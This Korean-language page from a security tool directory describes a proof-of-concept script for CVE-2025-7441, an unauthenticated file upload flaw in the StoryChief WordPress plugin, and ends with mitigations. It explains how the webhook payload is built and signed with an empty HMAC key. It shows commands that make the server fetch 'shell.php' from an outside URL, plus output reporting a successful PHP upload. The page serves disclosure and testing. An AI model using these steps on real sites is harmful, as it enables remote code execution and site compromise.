Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-7441 — StoryChief <= 1.0.42 - 인증되지 않은 임의 파일 업로드 | Kitploit
도구/GitHubGitHub/anothersec/cve-2025-7441
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubanothersec/cve-2025-7441

CVE-2025-7441

StoryChief <= 1.0.42 - 인증되지 않은 임의 파일 업로드

저장소 보기
312개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-7441

CVE-2025-7441 StoryChief 1.0.42 - 임의 파일 업로드

취약점 (CVE-2025-7441) - 기술 요약

  • 영향을 받는 구성 요소: StoryChief WordPress 플러그인
  • 취약점 유형: 인증되지 않은 임의 파일 업로드
  • 취약한 엔드포인트: /wp-json/storychief/webhook
  • 근본 원인: 플러그인은 data.featured_image.data.sizes.full 아래에 URL을 포함한 JSON 웹훅 페이로드를 수락하고, 충분한 검증 없이 (도메인 허용 목록 부재, 불충분한 MIME/콘텐츠 검사, 파일이 공개 업로드 경로에 저장됨) 해당 URL에 대해 서버 측 HTTP GET을 수행합니다.
  • 영향: 인증되지 않은 공격자는 서버가 공격자가 제어하는 콘텐츠를 가져와 WordPress 업로드 디렉토리(예: wp-content/uploads/YYYY/MM/<filename>)에 저장하도록 할 수 있습니다. 업로드된 파일이 서버에 의해 해석/실행될 수 있는 경우(예: PHP 파일이고 서버가 해당 위치에서 PHP 실행을 허용하는 경우), 이는 원격 코드 실행(RCE) 및 전체 사이트 손상으로 이어집니다.
  • CVSS (예): 9.8 (심각) — 심각도는 호스팅 구성 및 실행 허용 여부에 따라 다릅니다.

이 PoC (CVE-2025-7441)에 대하여

이 스크립트는 취약점에 대한 일반적인 익스플로잇 확인 과정을 자동화합니다:

  1. 원격 파일 URL을 data.featured_image.data.sizes.full에 배치하는 웹훅 JSON 페이로드를 구성합니다.
  2. 페이로드에 대한 HMAC-SHA256 서명을 계산하고(스크립트는 기본적으로 빈 키를 사용하여 계산) meta.mac에 저장합니다.
  3. 페이로드를 <site_url>/wp-json/storychief/webhook로 POST합니다.
  4. 가져온 파일이 예상 업로드 경로에 있는지 확인합니다: <site_url>/wp-content/uploads/<YEAR>/<MM>/<basename> 파일이 HTTP 200으로 응답하면 스크립트는 성공을 보고하고, 그렇지 않으면 <failed to upload>를 출력합니다.

스크립트는 다음 플래그를 포함합니다: --file-url, --verbose, --use-curl, --retries.

사용법

python3 CVE-2025-7441.py <site_url>

위치 인수

  • <site_url> — 대상 사이트의 기본 URL. 예: http://127.0.0.1:5000/ 또는 https://target.example/

플래그

  • --file-url — PoC가 사용하는 기본 원격 파일 URL을 재정의합니다. 기본값: 하드코딩된 샘플 원시 GitHub URL. 예: --file-url https://127.0.0.1:5000/zip.php
  • --verbose — 자세한 출력 활성화 (요청/응답 세부 정보 및 확인 진행 상황 출력).
  • --use-curl — POST 전송에 curl 하위 프로세스 사용 (폴백 모드). curl 설치 필요.
  • --retries — 파일에 대한 예상 업로드 경로를 확인하는 시도 횟수. 기본값: 1. 예: --retries 5를 사용하여 여러 번 폴링합니다.

예제 명령어

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/

사용자 지정 원격 파일 URL 지정

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/  --file-url https://example.com/shell.php

자세한 출력 및 여러 번 확인

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5

curl을 사용하여 POST 전송

root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose

출력:

root@kitploit:~
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php

완화 조치

완화 및 수정 단기:

  • 가능한 즉시 패치된 버전으로 StoryChief를 업그레이드하십시오.
  • WAF 또는 서버 규칙을 통해 /wp-json/storychief/webhook을 차단 또는 제한하십시오.
  • 신뢰할 수 없는 도메인으로의 서버 아웃바운드 가져오기 또는 이그레스를 제한하십시오.

개발자 지침:

  • 원격 가져오기 후 파일 유형 및 내용을 검증하고, 안전한 파서를 사용하여 이미지를 확인하고 유효하지 않은 파일을 거부하십시오.
  • 서버 측 다운로드 또는 파일 생성을 유발하는 웹훅에 대해 인증을 요구하십시오.
  • HMAC/서명 검증이 구현되고 적용되도록 하십시오.
  • 업로드된 콘텐츠를 웹 루트 외부에 저장하거나 wp-content/uploads에서 업로드된 파일의 실행을 비활성화하십시오
도구 다운로드